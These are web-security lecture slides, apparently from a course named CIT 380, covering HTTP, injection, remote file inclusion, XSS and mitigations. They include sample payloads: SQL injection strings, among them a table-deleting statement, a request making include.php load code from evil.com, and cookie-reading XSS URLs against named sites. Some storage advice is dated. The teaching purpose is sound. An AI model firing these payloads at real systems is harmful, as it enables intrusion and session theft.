CIT 380: Securing Computer Systems

CIT 380: Securing Computer Systems Web Security CIT 380: Securing Computer Systems

Topics • HTTP • Web Input • Web Application Vulnerabilities • Client-side Attacks • Finding Web Vulnerabilities CIT 380: Securing Computer Systems

Web Transactions Web Server HTTP Request Web Browser Network OS HTTP Response CIT 380: Securing Computer Systems

HTTP: HyperText Transfer Protocol Simple request/respond protocol • Request methods: GET, POST, HEAD, etc. • Protocol versions: 1.0, 1.1 Stateless • Each request independent of previous requests, i.e. request #2 doesn’t know you auth’d in #1. • Applications responsible for handling state. CIT 380: Securing Computer Systems

HTTP Request GET http://www.google.com/ HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7 Accept: text/html, image/png, */* Accept-Language: en-us,en;q=0.5 Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4 Method URL Protocol Version Headers Blank Line No Data for GET method CIT 380: Securing Computer Systems

HTTP Response HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Server: GWS/2.1 Date: Fri, 13 Oct 2006 03:16:30 GMT <HTML> ... (page data) ... </HTML> Protocol Version HTTP Response Code Headers Blank Line Web Page Data CIT 380: Securing Computer Systems

Client Side HTTP requests may reveal private info. HTTP responses may reveal private info. HTTP responses may include malicious code (Java, ActiveX, Javascript) Server Side HTTP requests may contain malicious input. HTTP requests may have forged authentication. HTTP responses may be intercepted. Different Perspectives CIT 380: Securing Computer Systems

Web-based Input • Client and Server Perspectives • Types of Input • URL parameters • HTML • Cookies • Javascript • Cross-Site Scripting CIT 380: Securing Computer Systems

URL Format <proto>://<user>@<host>:<port>/<path>?<qstr> • Whitespace marks end of URL • “@” separates userinfo from host • “?” marks beginning of query string • “&” separates query parameters • %HH represents character with hex values • ex: %20 represents a space http://username:password@www.auth.com:8001/a%20spaced%20path CIT 380: Securing Computer Systems

URL Parameters • Client controls query-string • Cannot limit values to those specified in form • Any character can be URL-encoded • Even if it doesn’t need to be. • Any valid format may be used to disguise true destination of URL CIT 380: Securing Computer Systems

URL Obfuscation • IP address representations • Dotted quad (decimal, octal, hexadecimal) • Hexadecimal without dots (with left padding) • dword (32-bit int) • Examples: www.eecs.utoledo.edu • 131.183.19.14 (dotted quad) • 0xDEDA83B7130E (hexadecimal + padding) • 2209813262 (dword) CIT 380: Securing Computer Systems

HTML Special Characters • “<“ begins a tag • “>” ends a tag • some browsers will auto-insert matching “<“ • “&” begins a character entity • ex: < represents literal “<“ character • Quotes(‘ and “) used to enclose attribute values CIT 380: Securing Computer Systems

Character Set Encoding • Default: ISO-8859-1 (Latin-1) • Char sets dictate which chars are special • UTF-8 allows multiple representations • Force Latin-1 encoding of web page with: • <META http-equiv=“Content-Type” content=“text/html; charset=ISO-8859-1”> CIT 380: Securing Computer Systems

Hidden Fields <input type=“hidden” name=“user” value=“james”> • Used to propagate data between HTTP requests since protocol is stateless • Clearly visible in HTML source • Form can be copied, modified to change hidden fields, then used to invoke script CIT 380: Securing Computer Systems

Cookies Server to Client Content-type: text/html Set-Cookie: foo=bar; path=/; expires Fri, 20-Feb-2004 23:59:00 GMT Client to Server Content-type: text/html Cookie: foo=bar CIT 380: Securing Computer Systems

Client Side URLs may not lead where they seem to. Cookies can be used to track your browsing. Pages may include malicious code (Java, ActiveX, Javascript) Server Side Cookies aren’t confidential. Hidden fields aren’t secret. Client may use own forms. URLs can have any format. POST data can have any format. Cookies can have any format. Web Input Summary CIT 380: Securing Computer Systems

Web Application Vulnerabilities Input-based Security Problems • Injection Flaws • Insecure Remote File Inclusion • Unvalidated Input Authentication and Authorization • Authentication • Access Control • Cross-Site Scripting Other Bugs • Error Handling and Information Leakage • Insecure Storage • Insecure Communications CIT 380: Securing Computer Systems

Injection • Injection attacks trick an application into including unintended commands in the data send to an interpreter. • Interpreters • Interpret strings as commands. • Ex: SQL, shell (cmd.exe, bash), LDAP, XPath • Key Idea • Input data from the application is executed as code by the interpreter. CIT 380: Securing Computer Systems

SQL Injection Attacker • App sends form to user. • Attacker submits form with SQL exploit data. • Application builds string with exploit data. • Application sends SQL query to DB. • DB executes query, including exploit, sends data back to application. • Application returns data to user. ‘ or 1=1-- User Pass Firewall DB Server Web Server CIT 380: Securing Computer Systems

SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: " . mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password'"; $result = mysql_query($query); CIT 380: Securing Computer Systems

SQL Injection Attack #1 Unauthorized Access Attempt: password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -- Checks if password is empty OR 1=1, which is always true, permitting access. CIT 380: Securing Computer Systems

SQL Injection Attack #2 Database Modification Attack: password = foo’; delete from tableuserswhereusernamelike ‘% Database executes two SQL statements: select count(*) from users where username = ‘user’ and password = ‘foo’ delete from tableuserswhereusernamelike ‘%’ CIT 380: Securing Computer Systems

Impact of SQL Injection SELECT SSN FROM USERS WHERE UID=‘$UID’ CIT 380: Securing Computer Systems

Mitigation: Prepared Queries require_once 'MDB2.php'; $mdb2 =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); } $sql = “SELECT count(*) from users where username = ? and password = ?”; $types = array('text', 'text'); $sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data); CIT 380: Securing Computer Systems

Insecure Remote File Inclusion • Insecure remote file inclusion vulnerabilities allow an attack to trick the application into executing code provided by the attacker on another site. • Dynamic code • Includes in PHP, Java, .NET • DTDs for XML documents • Key Idea • Attacker controls pathname for inclusion. CIT 380: Securing Computer Systems

PHP Remote Inclusion Flaw A PHP product uses "require" or "include" statements, or equivalent statements, that use attacker-controlled data to identify code or HTML to be directly processed by the PHP interpreter before inclusion in the script. <?php //config.php $server_root = '/my/path'; ?> <?php //include.php include($server_root . '/someotherfile.php'); ?> <?php // index.php include('config.php'); include('include.php'); // Script body ?> GET /include.php?server_root=http://evil.com/command.txt CIT 380: Securing Computer Systems

Mitigating Remote File Inclusion • Turn off remote file inclusion. • Do not run code from uploaded files. • Do not use user-supplied paths. • Validate all paths before loading code. CIT 380: Securing Computer Systems

Unvalidated Input • Unvalidated input is an architecture flaw. • Individual input-related bugs are easy to fix. • How do you defend against the general problem of input-based attacks? • Key Ideas • Application needs to validate all input. • Input validation needs to be part of design. CIT 380: Securing Computer Systems

Input Validation Solutions • All input must be validated. • Input must be validated on the server. • Use a standard set of validation rules. • Reject all input that isn’t in your whitelist. • Blacklists can miss bad inputs. • Input repairs can produce bad input. CIT 380: Securing Computer Systems

Authentication • Authentication is the process of determining a user’s identity. • Key Ideas • HTTP is a stateless protocol. • Every request must be authenticated. • Use username/password on first request. • Use session IDs on subsequent queries. CIT 380: Securing Computer Systems

Authentication Attacks • Sniffing passwords • Guessing passwords • Identity management attacks • Replay attacks • Session ID fixation • Session ID guessing CIT 380: Securing Computer Systems

Identity Management Attacks Auth requires identity management • User registration • Password changes and resets Mitigations • Use CAPTCHAs to protect registration. • Don’t use easy to guess secret questions. • Don’t allow attacker to reset e-mail address that new password is sent to. CIT 380: Securing Computer Systems

Session ID Guessing Do session IDs show a pattern? • How does changing username change ID? • How do session IDs change with time? Brute forcing session IDs • Use program to try 1000s of session IDs. Mitigating guessing attacks • Use a large key space (128+ bits). • Use a cryptographically random algorithm. CIT 380: Securing Computer Systems

Mitigating Authentication Attacks • Use SSL to prevent sniffing attacks. • Require strong passwords. • Use secure identity management. • Use a secure session ID mechanism. • IDs chosen at random from large space. • Regenerate session IDs with each request. • Expire session IDs in short time. CIT 380: Securing Computer Systems

Access Control • Access control determines which users have access to which system resources. • Levels of access control • Site • URL • Function • Function(parameters) • Data CIT 380: Securing Computer Systems

Mitigating Broken Access Control • Check every access. • Use whitelist model at every layer. • Do not rely on client-level access control. • Do not rely on security through obscurity. CIT 380: Securing Computer Systems

Cross-Site Scripting (XSS) • Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing. • XSS used to obtain session ID for • Bank site (transfer money to attacker) • Shopping site (buy goods for attacker) • E-mail • Key ideas • Attacker sends malicious code to server. • Victim’s browser loads code from server and runs it. CIT 380: Securing Computer Systems

XSS Attacks MySpace worm (October 2005) • When someone viewed Samy’s profile: • Set him as friend of viewer. • Incorporated code in viewer’s profile. Paypal (2006) • XSS redirect used to steal money from Paypal users in a phishing scam. BBC, CBS (2006) • By following XSS link from securitylab.ru, you could read an apparently valid story on the BBC or CBS site claiming that Bush appointed a 9-year old as head of the Information Security department. CIT 380: Securing Computer Systems

Stored XSS Stored XSS • Injected script stored in comment, message, etc. • Requires ability to insert malicious code into web documents (comments, reviews, etc.) • Persistent until message deleted. CIT 380: Securing Computer Systems

Reflected XSS Reflected XSS • Injected script returned by one-time message. • Requires tricking user to click on link. • Non-persistent. Only works when user clicks. CIT 380: Securing Computer Systems

Why does XSS Work? Same-Origin Policy • Browser only allows Javascript from site X to access cookies and other data from site X. • Attacker needs to make attack come from site X. Vulnerable Server Program • Any program that returns user input without filtering out dangerous code. CIT 380: Securing Computer Systems

Anatomy of an XSS Attack Web Server 8. Attacker hijacks user session. 1. Login Attacker User 2. Cookie 5. XSS URL 3. XSS Attack 6. Page with injected code. 7. Browser runs injected code. 4. User clicks on XSS link. Evil site saves ID. CIT 380: Securing Computer Systems

XSS URL Examples http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script> http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E CIT 380: Securing Computer Systems

Mitigating XSS • Disallow HTML input • Allow only safe HTML tags • Filter output Replace HTML special characters in output ex: replace < with < and > with > also replace (, ), #, & • Tagged cookies Include IP address in cookie and only allow access to original IP address that cookie was created for. • Client: disable Javascript Use NoScript extension for Firefox. CIT 380: Securing Computer Systems

Improper Error Handling • Applications can unintentionally leak information about configuration, architecture, or sensitive data when handling errors improperly. • Errors can provide too much data • Stack traces • SQL statements • Subsystem errors • User typos, such as passwords. CIT 380: Securing Computer Systems

Example of Improper Error Handling mySQL error with query SELECT COUNT(*) FROM nucleus_comment as c WHERE c.citem=90: Can't open file: 'nucleus_comment.MYI' (errno: 145) Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/exalt2/public_html/username/nucleus/libs/COMMENTS.php on line 124 CIT 380: Securing Computer Systems

Mitigating Improper Error Handling • Catch all exceptions. • Check all error codes. • Wrap application with catch-all handler. • Send user-friendly message to user. • Store details for debugging in log files. • Don’t log passwords or other sensitive data. CIT 380: Securing Computer Systems

Insecure Storage • Storing sensitive data without encrypting it, or using a weak encryption algorithm, or using a strong encryption system improperly. • Problems • Not encrypting sensitive data. • Using home grown cryptography. • Insecure use of weak algorithms. • Storing keys in code or unprotected files. CIT 380: Securing Computer Systems

Storage Recommendations Hash algorithms • MD5 and SHA1 look insecure. • Use SHA256. Encrypting data • Use AES with 128-bit keys. Key generation • Generate random keys. • Use secure random source. CIT 380: Securing Computer Systems

Mitigating Insecure Storage • Use well studied public algorithms. • Use truly random keys. • Store keys in protected files. • Review code to ensure that all sensitive data is being encrypted. • Check database to ensure that all sensitive data is being encrypted. CIT 380: Securing Computer Systems

CIT 380: Securing Computer Systems